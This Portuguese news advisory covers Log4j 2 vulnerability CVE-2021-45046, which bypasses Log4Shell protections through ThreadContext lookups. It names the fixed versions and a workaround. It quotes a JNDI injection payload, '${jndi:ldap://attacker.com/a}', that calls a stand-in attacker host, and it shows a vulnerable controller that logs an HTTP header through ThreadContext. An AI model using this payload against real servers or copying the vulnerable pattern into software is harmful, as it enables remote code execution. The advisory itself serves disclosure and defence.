Foi identificada mais uma vulnerabilidade na implementação de substituições JNDI na biblioteca Log4j 2 (CVE-2021-45046), que se manifesta apesar das correções incluídas na versão 2.15 e independentemente do uso da configuração 'log4j2.noFormatMsgLookup' para proteção. O problema representa um risco principalmente para versões antigas do Log4j 2, que estão protegidas pelo flag 'noFormatMsgLookup', pois permite contornar a proteção contra uma vulnerabilidade anterior (Log4Shell, CVE-2021-44228), possibilitando a execução de código no servidor. Para usuários da versão 2.15, a exploração limita-se a criar condições que levem ao término abrupto da aplicação devido à falta de recursos disponíveis.
A vulnerabilidade se manifesta apenas em sistemas onde as requisições de contexto (Context Lookup), como ${ctx:loginId}, ou padrões MDC (Thread Context Map), como %X, %mdc e %MDC, são usadas para registro. A exploração se resume à criação de condições para registrar dados que contenham substituições JNDI, ao utilizar nos aplicativos requisições de contexto ou padrões MDC que definem regras de formatação para saída de log.
Pesquisadores da LunaSec notaram que, para versões do Log4j abaixo de 2.15, essa vulnerabilidade pode ser utilizada como um novo vetor de ataque Log4Shell, levando à execução de código, se expressões ThreadContext que contêm dados externos forem utilizadas no registro, independentemente da ativação da proteção pelo flag 'noMsgFormatLookups' ou do padrão '%m{nolookups}'.
O contorno da proteção consiste em que, em vez de uma substituição direta '${jndi:ldap://attacker.com/a}', essa expressão é inserida através do valor de uma variável intermediária, utilizada nas regras de formatação da saída do log. Por exemplo, se uma requisição de contexto ${ctx:apiversion} for utilizada no registro, um ataque pode ser realizado através da substituição dos dados '${jndi:ldap://attacker.com/a}' no valor atribuído à variável apiversion. Exemplo de código vulnerável: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // O valor do cabeçalho HTTP 'X-Api-Version' é passado para o ThreadContext ThreadContext.put("apiversion", apiVersion); // Ao registrar, o valor externo apiversion será processado através da substituição ${ctx:apiversion} logger.info("Recebeu uma solicitação para a versão da API"); return "Olá, mundo!"; }
Na versão Log4j 2.15, a vulnerabilidade pode ser usada para realizar ataques DoS ao passar valores para o ThreadContext que levam à repetição do processamento do modelo de formatação de saída.
Para bloquear a vulnerabilidade, foram lançadas as atualizações 2.16 e 2.12.2. Na versão Log4j 2.16, além das correções implementadas na versão 2.15 e a vinculação das solicitações JNDI LDAP ao ‘localhost’, a funcionalidade JNDI está completamente desativada por padrão e o suporte para templates de mensagens foi removido. Como solução alternativa, recomenda-se remover a classe JndiLookup do classpath (por exemplo, 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Acompanhar a disponibilidade de correções em pacotes pode ser feito nas páginas dos distribuidores (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dos fabricantes de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Fonte: opennet.ru
